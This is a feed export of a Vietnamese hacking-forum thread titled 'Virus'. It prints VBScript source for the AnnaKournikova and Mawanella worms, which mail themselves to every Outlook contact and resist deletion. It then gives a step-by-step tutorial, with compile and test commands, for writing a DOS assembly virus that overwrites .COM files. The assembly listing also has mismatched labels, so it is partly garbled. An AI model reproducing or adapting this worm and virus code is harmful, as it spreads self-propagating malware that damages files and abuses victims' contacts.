<![CDATA[Latest posts for the topic "Virus"]]> /hvaonline/posts/list/28.html JForum - http://www.jforum.net Virus /hvaonline/posts/list/396.html#945 /hvaonline/posts/list/396.html#945 GMT Virus "1" then Outlook() end if //Red Herring? Maybe, but NL *might* be the origin of the worm if month(now) =1 and day(now) = 26 then ws.run "Http://www.dynabyte.nl",3,false end if //The following section could be an anti-deletion technique Set AnnaKournikova = fso.opentextfile(wscript.scriptfullname, 1) SourceCode = AnnaKournikova.readall AnnaKournikova.Close Do If Not (fso.fileexists(wscript.scriptfullname)) Then Set AnnaKournikova = fso.createtextfile(wscript.scriptfullname, True) AnnaKournikova.write SourceCode AnnaKournikova.Close End If Loop Function Outlook() On Error Resume Next Set OutlookApp = CreateObject("Outlook.Application") If OutlookApp= "Outlook"Then Set Mapi=OutlookApp.GetNameSpace("MAPI") Set MapiAdList= Mapi.AddressLists For Each Address In MapiAdList If Address.AddressEntries.Count <> 0 Then NumOfContacts = Address.AddressEntries.Count //Get a list of contacts For ContactNumber = 1 To NumOfContacts Set EmailItem = OutlookApp.CreateItem(0) Set ContactNumber = Address.AddressEntries(ContactNumber) EmailItem.To = ContactNumber.Address EmailItem.Subject = "Here you have, ;o)" EmailItem.Body = "Hi:" & vbcrlf & "Check This!" & vbcrlf & "" set EmailAttachment=EmailItem.Attachments EmailAttachment.Add fso.GetSpecialFolder(0)& "\AnnaKournikova.jpg.vbs" EmailItem.DeleteAfterSubmit = True //Send the thing If EmailItem.To <> "" Then EmailItem.Send ws.regwrite "HKCU\software\OnTheFly\mailed", "1" End If Next End If Next end if End Function 'Vbswg 1.50b Ở mã nguồn của virus AnnaKournikova bạn có thể thấy một số chỗ sử dụng Chr(x) đó là cách thay vì viết bằng các ký tự ASCII nó sử dụng hàm Chr để tránh việc bị các trình diệt virus phát hiện.Trong hacking thì chắc các bạn thấy một số trường hợp có sử dụng Chr(x) để thay cho các dấu /,%,\. (tất nhiên là không phải để tránh các trình diệt virus) Còn đây là mã nguồn của mawanella: --------------------------------------source code---------------- ' Mawanella Worm ' Decrypted by MrBrownstone ' On Error ResumeNext Rem // I hate Mawanella incident Set W_S = CreateObject("WScript.Shell") Set fso = CreateObject("Scripting.FileSystemObject") set file = fso.OpenTextFile(WScript.ScriptFullname,1) vbscopy=file.ReadAll main() sub main() On Error Resume Next dim wscr,rr, strMsg set wscr=CreateObject("WScript.Shell") Set dirwin = fso.GetSpecialFolder(0) Set dirsystem = fso.GetSpecialFolder(1) Set dirtemp = fso.GetSpecialFolder(2) Set cFile = fso.GetFile(WScript.ScriptFullName) cFile.Copy(dirsystem&"\Mawanella.vbs") Set OutlookA = CreateObject("Outlook.Application") If OutlookA = "Outlook" Then Set Mapi=OutlookA.GetNameSpace("MAPI") Set AddLists=Mapi.AddressLists For Each ListIndex In AddLists If ListIndex.AddressEntries.Count <> 0 Then ContactCountX = ListIndex.AddressEntries.Count For Count= 1 To ContactCountX Set MailX = OutlookA.CreateItem(0) Set ContactX = ListIndex.AddressEntries(Count) 'msgbox contactx.address 'Mailx.Recipients.Add(ContactX.Address) MailX.To = ContactX.Address MailX.Subject = "Mawanella" MailX.Body = vbcrlf&"Mawanella is one of the Sri Lanka's Muslim Village"&vbcrlf 'Set Attachment=MailX.Attachments 'Attachment.Add dirsystem & "\Mawanella.vbs" 'Mailx.Attachments.Add(dirsystem & "\Mawanella.vbs") Mailx.Attachments.Add(dirsystem & "\Mawanella.vbs") MailX.DeleteAfterSubmit = True If MailX.To <> "" Then MailX.Send End If Next End If Next Else msgBox "Please Forward this to everyone" End if strMsg= " ) (" & vbcrlf strMsg= strMsg & "( ) ( ) " & vbcrlf strMsg= strMsg & " ( ) ( )" & vbcrlf strMsg= strMsg & " ( ) ( )" & vbcrlf strMsg= strMsg & " -------------------------" & vbcrlf strMsg= strMsg & " / ( ( ( /\" & vbcrlf strMsg= strMsg & " / ( / \" & vbcrlf strMsg= strMsg & " / ( ( / \" & vbcrlf strMsg= strMsg & " --------------------------------" & vbcrlf strMsg= strMsg & " | --- | |" & vbcrlf strMsg= strMsg & " | ----- | | | |" & vbcrlf strMsg= strMsg & " | | | --- | |" & vbcrlf strMsg= strMsg & " | | | | |" & vbcrlf strMsg= strMsg & " --------------------------------" & vbcrlf strMsg= strMsg & "Mawanella is one of the Sri Lanka's Muslim Village." & vbcrlf strMsg= strMsg & "This brutal incident happened here 2 Muslim Mosques & 100 Shops are burnt." & vbcrlf strMsg= strMsg & "I hat this incident, What about you? I can destroy your computer" & vbcrlf strMsg= strMsg & "I didn't do that because I am a peace-loving citizen." msgbox strMsg,,"Mawanella" End sub ---------------------------------------------------------------- Ở phần sau tôi sẽ hướng dẫn các bạn cách viết một virus đơn giản bằng Asm. Tất nhiên là đỏi hỏi phải biết một ít về Asm. VIẾT MỘT VIRUS GHI ĐÈ LÊN FILE *.COM BẰNG ASM (Sử dụng tài liệu của nhóm Code Breaker) Trước tiên hãy xem đoạn mã của virus: code segment assume cs:code,ds:code org 100h virus proc near first_file: mov ah,4eh tim_file: xor cx,cx lea dx,comsig int 21h jc ketthuc mo_file: mov ax,3d02h mov dx,9eh int 21h nhiem_file: xchg bx,ax mov ah,40h mov cx,offset horny - offset first_fly lea dx,first_fly int 21h stitch_up: mov ah,3eh int 21h mov ah,4fh jmp find_fly ketthuc: mov ah,09h mov dx,offset wart int 21h cya: int 20h comsig db "*.com",0 msgadd db 'Congratulations! You have infected all the COM files in this ',10,13 db 'directory . Have a nice day.',10,13,'$' horny label near virus endp code ends end first_fly Virus của chúng ta sẽ là một file .com ,giới hạn của *.com file là 65,536 bytes.Qua virus này bạn sẽ biết được định dạng chung của một file .com, chúng ta hãy phân tích đoạn mã trên: ================================================== ====== code segment tất cả những mã có thể thi hành nằm trong code segment , tất nhiên không nhất thiết segment phải có tên là code, cấu trúc khai báo là như sau: segment_name segment ------------ ---------- ---------- segment_name Ends end Nếu bạn đã hoc Asembly thì không cần phải đọc chỗ này. ================================================== ====== assume cs:code,ds:code Nói chung đây là phần thiết đặt tham số cho file .com của chúng ta, với CS(code segment) là nơi chứa địa chỉ bắt đầu thực thi của chương trình. org 100h org 100h luôn luôn đi theo assume directive. Nó thông báo cho máy tính biết rằng file COM đuợc xác đình tại địa chỉ 100 hex hay 256 bytes. ================================================== ====== proc virus near Cái này không thực sự cần thiết vì procedure này là chương trình con duy nhất trong chương trình.Những chương trình lớn hơn sẽ có nhiều Procedure trong code segment để thức hiện một nhiệm vụ nhất định nào đó. ================================================== ====== first_file: mov ah,4eh Bậy giờ là phần cốt lõi của virus ,nếu bạn đã hoc lập trình thì các bạn cũng biết nhựng cái theo sau là dấu hai chấm được gọi là nhãn, nó hữ­ ích cho việc xác định vị trí để xài các lệnh nhảy trong ASM hay lệnh goto trong Pascal,delphi... Để phân tích tiếp chúng ta cần biết thanh ghi là gì?Một thanh ghyi được sử dụng để khởi đầu chỉ lệnh để máy tính thi hành một yêu cầu hoạt động ,được sử dụng để ghi địa chỉ bộ nhớ và chuẩn bị những hàm số học cơ bản , nhập xuất dữ liệu... .Bốn thanh ghi cơ bản sử dụng trong virus này là AX, BX, CX, DX (). Thanh ghi ax sử dụng cho nhập xuất và các thao tác tính toán cơ bản BX (base register) sử dụng để tính toán CX (count register ) sử dụng để tính toán hay đếm trong vòng lặp. DX (data register ) giống như AX , được sử dụng cho nhập xuất , hoạt động nhân chia Bây giờ trở lại với virus của chúng ta mục đích cua get_fly là tìm thấy file để làm nhiễm. Thực sự là tìm file đầu tiên trong thư mục có thuộc tính chúng ta cần. Vì vậy,chúng tac ần nạp điều kiện vào thanh ghi chung và thực hiện một lệnh ngắt. Ơû đây do là một chương trình DOS nên chỉ đề cập đến thanh ghi 16 bit , môt thanh ghi 16 bit gồm 2 phần, mỗi phần 8 bit ví dụ AX:AH-AL tương tự như vậy ta có : BH - BL, CH - CL, va’ DH - DL. Giá trị cần nạp vào thanh ghi chung là 4e hex vào AH, CX = zero để set thuộc tính của file là normal, và cuối cùng, DX cần một chuỗi chỉ đính file mà chúng ta đang tìm kiếm để làm nhiễm. Và để di chuyển 4e hex vao’ AH chúng ta sử dụng lệnh MOV. MOV AH, 4eh có nghĩa là chuyển giá trị 4e hex vào AH ]]> /hvaonline/posts/list/396.html#1246 /hvaonline/posts/list/396.html#1246 GMT Virus oad the ffective ddress of comsig into DX. Chúng ta cũng có thể sử dụng lệnh MOV bằng cách như sau MOV DX, offset comsig. ================================================== ========= int 21h Nói chung lệnh ngắt để dừng chương trình lại và thực hiện một công việc nào đó .Co’ 256 lệnh ngắt các bạn có thể tham khảo thêm ở các sách dạy hợp ngữ .Ở đoạn mã này của virus sau khi chuyển 4e hex vào AX xóa CX, chuyển chuỗi chỉ định tên file cần tìm ta thực hiện lệnh ngắt int 21 để chương trình bắt đầu tìm tệp đầu tiên với thuôc tính cho trước trong CX và DX (các bạn tra trong sách hợp ngữ về các chức năng của ngắt int 21 để biết thêm chi tiết) ================================================== ========= jc ketthuc Đây là một lệnh nhảy có điều kiên’. Nếu một file được tìm thấy cờ carry được set là zero nếu không tìm thấy cờ carry set thành 1 lệnh JC kiểm tra nếu cờ carry bằng 1nó sẽ nhảy tới vị trí có nhãn wart_growth và thi hành lệnh tại offset đó .Và đoạn mã này có chức nằng như sau: nó kiểm tra xem nếu tìm thấy thì tiến hành các bước làm nhiễm file nếu không thì nhãy tời đoạn mã báo hiệu bạn đã làm nhiễm thành cộng tất cả các file .Com trong thư mục chứa nó . ================================================== =========== mo_file: mov ax,3d02h mov dx,9eh int 21h Đoạn mã này được thực hiện khi đã tìm thấy một file .COM trong thư mục đầu tiên cần nạp 3D vào AL và 02h có nghĩa là mở file trong chế độ đọc/ghi. 00h trong AL sẽ mở file ở chế độ chỉ đọc , 01h trong AL là chỉ ghi. Nhớ rằng AX là thanh ghi 16-bit gồm, AH và AL.Vi vay chúng ta có thể nạp hai giá trị cùng lúc . bằng cách nạp AX với 3d02h. Nhớ rằng chúng ta luôn luôn sử dụng gia’ trị ở hệ hex. Một lỗi đơn giản nhưng hay gặp phải là thiếu "h" sau int 21 hay sau các số ở hệ HEX bạn cần chú ý . Nếu thiếu Hex máy tính sẽ nghĩ bạn sử dụng hệ thập phân và dĩ nhiên trong hệ thập phân máy tính sẽ coi D,E,F chả ra củ khoai gì .... Tiếp theo chúng ta cần nạp vào DX một chuỗi ASCII là tên của file .Như bạn nhìn ở trên 9e hex không phải là một chuỗi ;nó thực ra là offset của địa chỉ chứa chuỗi chúng ta cần. 9e hex được xác định trong PSP trong một vùng gọi là DTA hay isk ransfer rea. PSP bắt đầu tại 00h. Địa chỉ bắt đầu của DTA la’ 80 hex.Trong DTA là thông tin trên file đã được tìm thấy. Những gì chúng ta cần là file name, được xác định tại offset 1eh từ phần bắt đầu của DTA. Cộng 80 với 1eh ta có 9eh. Nạp 9e hex vào thanh ghi DX chúng ta có file name . bây giờ thức hiện int 21h để thi hành thủ tục trên. ================================================== ============ nhiem_file: xchg bx,ax mov ah,40h mov cx,offset horny - offset first_fly lea dx,first_fly int 21h Đây là phần làm nhiê’m file sau khi đã mở nó .Ở đoạn mã trước File handle của file được mở nằm trong AX chúng ta cần nó nằm trong BX vậy nên thực hiện lệnh xchg bx,ax bằng cách này toàn bộ giá trị trong ax sẽ chuyển vào bx . CX cần được nạp một số lượng byte mà chúng ta muốn ghi vào. Và thay vì ta sử dụng một con số nào đó để chỉ định số bytes ta để máy tính tính khoảng cách từ 2 offset nhãn horny và firts_fly như vậy khoảng cách từ nhãn first_fly đến horny là số lượng bytes mà chúng ta muốn ghi vào file. Cuối cùng, DX cần được nạp địa chỉ mà chúng ta muốn ghi và địa chỉ cua’ first_fly được nạp vào DX. Đó là phần bắt đầu của mã mà chúng ta muốn ghi vào file tìm thấy .Sau đó thực hiện int 21 sẽ hoàn tất việc làm nhiễm file. ================================================== ========= stitch_up: mov ah,3eh int 21h mov ah,4fh jmp find_fly Sau khi file đã bị nhiễm chúng ta cần đóng file đó lại và đây là đoạn mã thực hiện việc này. Sau khi đóng file chúng ta nạp 4f hex vào AH rồi nhảy trở về đoạn mã để tìm file .COM kế tiếp. Và nó sẽ thực hiện việc nhiễm file cho đến khi nào tất cả file .COM trong thu muc chưa nó đã bị nhiễm.Lúc đó cờ carry=1 và lệnh nhảy jc sẽ hoạt động đưa ra thông báo chúc mừng. ================================================== ================= Ketthuc: mov ah,9 mov dx,offset wart int 21h ================================================== ================ cya: int 20h Chức năng của int 20 là kết thúc chương trình , tuy nhiên cách hiện nay hay dùng là MOV AH,4CH int 21 ================================================== ================ comsig db "*.com",0 msgadd db 'Congratulations! You have infected all the COM files in this',10,13 db 'Have a nice day.',10,13,'$' Đây là data segment nói một cách nọm na là tương tự như bạn khai báo hằng (Const) ở pascal,C++ vậy.Và các hằng này sẽ được sử dụng trong code segment. Chúng ta sử dụng định nghĩa byte DB, để định nghĩa một chuỗi. Việc đặt 10,13 sau các chuỗi giúp cho việc hiển thị nó có thứ tự nếu không cả hai chuỗi sẽ hiển thị cùng lúc lên màn hinh $ tại phần cuối của dòng 2 báo hiệu kết thúc chuôi ================================================== ================= horny label near nhãn horny chỉ có một mục đích là để xác điịnh offset trong việc xác định số byte ghi vào file cần làm nhiễm ================================================== ================= virus endp code ends end first_fly kết thúc chương trình ================================================== ============== Biên dịch virus : Bạn cần có TASM hay MASM. Trongbài này tôi hướng dẫn các bạn biên dịch virus bằng TASM. Các file cần có virus.asm TASM.EXE, TLINK Đầu tiên lưu nó thành file ".asm" file,có thể sử dụng Notepad để soạn thảo mã rồi save as virus.asm. Sử dụng TASM gõ lệnh: C:\>tasm virus.asm Kết quả có thể là như sau: Turbo Assembler Version 2.01 Assembling file: virus.asm Error Messages: none Warning Messages: none Passes: 1 Remaining Memory: 418k (or something similar) Nếu không có lỗi nào, nếu có lỗi nó sẽ báo cho bạn biết lỗi gì ở dòng nào . Sau khi gõ lệnh TASM bạn sẽ được file *.obj Để tạo COM file bạn gõ lệnh: C:\>tlink /t virus.obj Tlink sẽ tạo ra file virus.COM Bây giờ hãy thử nghiệmvirus của bạn, mở Notepad lên, ghi gì tùy bạn , không ghi cũng được lưu thành file vidu.com. đặt nóvào thư muc của virus bạn vừa biên dịch. Rồi chạy virus bạn sẽ thấy kích thước của file vidu.com bây giờ sẽ bằng kích thước của virus(180 bytes). Tuy nhiên nhược virus này sẽ làm nhiễm tất cả các file .com trong thư mục chứa nó mà không cần biết file đó đã bị nhiễm hay chưa, ở phần sau tôi sẽ hướng dẫn các bạn cách để kiểm tra xem một file đã bị nhiễm hay chưa. Và cònmột điều nữa là virus này không có tác dụng với những file .com có size lớn hơn nó (đây chỉ là để minh họa nên tôi nghĩ như vậy là đủ) ================================================== ============= Appendix 1 - The Registers AX Accumulator register BX Base register CX Counting register DX Data register DS Data Segment register ES Extra Segment register SS Stack Segment register CS Code Segment register BP Base Pointers register SI Source Index register DI Destiny Index register SP Stack Pointer register IP Next Instruction Pointer register F Flag register -_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_ Appendix 2 - The PSP Format of Program Segment Prefix (PSP): Offset Size Description (Table 1032) 00h 2 BYTEs INT 20 instruction for CP/M CALL 0 program termination the CDh 20h here is often used as a signature(chu ky) for a valid PSP 02h WORD segment of first byte beyond memory allocated to program 04h BYTE (DOS) unused filler (OS/2) count of fake DOS version returns 05h BYTE CP/M CALL 5 service request (FAR CALL to absolute 000C0h) BUG: (DOS 2+ DEBUG) PSPs created by DEBUG point at 000BEh 06h WORD CP/M compatibility--size of first segment for .COM files 08h 2 BYTEs remainder of FAR JMP at 05h 0Ah DWORD stored INT 22 termination address 0Eh DWORD stored INT 23 control-Break handler address 12h DWORD DOS 1.1+ stored INT 24 critical error handler address 16h WORD segment of parent PSP 18h 20 BYTEs DOS 2+ Job File Table, one byte per file handle, FFh = closed 2Ch WORD DOS 2+ segment of environment for process (see #1033) 2Eh DWORD DOS 2+ process's SS:SP on entry to last INT 21 call 32h WORD DOS 3+ number of entries in JFT (default 20) 34h DWORD DOS 3+ pointer to JFT (default PSP:0018h) 38h DWORD DOS 3+ pointer to previous PSP (default FFFFFFFFh in 3.x) used by SHARE in DOS 3.3 3Ch BYTE DOS 4+ (DBCS) interim console flag (see AX=6301h) Novell DOS 7 DBCS interim flag as set with AX=6301h (possibly also used by Far East MS-DOS 3.2-3.3) 3Dh BYTE (APPEND) TrueName flag (see INT 2F/AX=B711h) 3Eh BYTE (Novell NetWare) flag: next byte initialized if CEh (OS/2) capabilities flag 3Fh BYTE (Novell NetWare) Novell task number if previous byte is CEh 40h 2 BYTEs DOS 5+ version to return on INT 21/AH=30h 42h WORD (MSWindows3) selector of next PSP (PDB) in linked list Windows keeps a linked list of Windows programs only 44h WORD (MSWindows3) "PDB_Partition" 46h WORD (MSWindows3) "PDB_NextPDB" 48h BYTE (MSWindows3) bit 0 set if non-Windows application (WINOLDAP) 49h BYTE unused by DOS versions <= 6.00 4Ch WORD (MSWindows3) "PDB_EntryStack" 4Eh 2 BYTEs unused by DOS versions <= 6.00 50h 3 BYTEs DOS 2+ service request (INT 21/RETF instructions) 53h 2 BYTEs unused in DOS versions <= 6.00 55h 7 BYTEs unused in DOS versions <= 6.00; can be used to make first FCB into an extended FCB 5Ch 16 BYTEs first default FCB, filled in from first commandline argument overwrites second FCB if opened 6Ch 16 BYTEs second default FCB, filled in from second commandline argument overwrites beginning of commandline if opened 7Ch 4 BYTEs unused 80h 128 BYTEs commandline / default DTA command tail is BYTE for length of tail, N BYTEs for the tail, followed by a BYTE containing 0Dh ------------------------------------------------------------------------------ Appendix 3 - Examples of various JUMP commands JA - Jump if Above JAE - Jump if Above/Equal JB - Jump if Below JBE - Jump if Below/Equal JC - Jump if Carry JE - Jump if Equal JG - Jump if Greater JGE - Jump if Greater/Equal JL - Jump if Less JLE - Jump if Less/Equal JMP - Jump JNA - Jump if Not Above JNAE - Jump if Not Above/Equal ]]> /hvaonline/posts/list/396.html#1247 /hvaonline/posts/list/396.html#1247 GMT Re: Virus /hvaonline/posts/list/396.html#111012 /hvaonline/posts/list/396.html#111012 GMT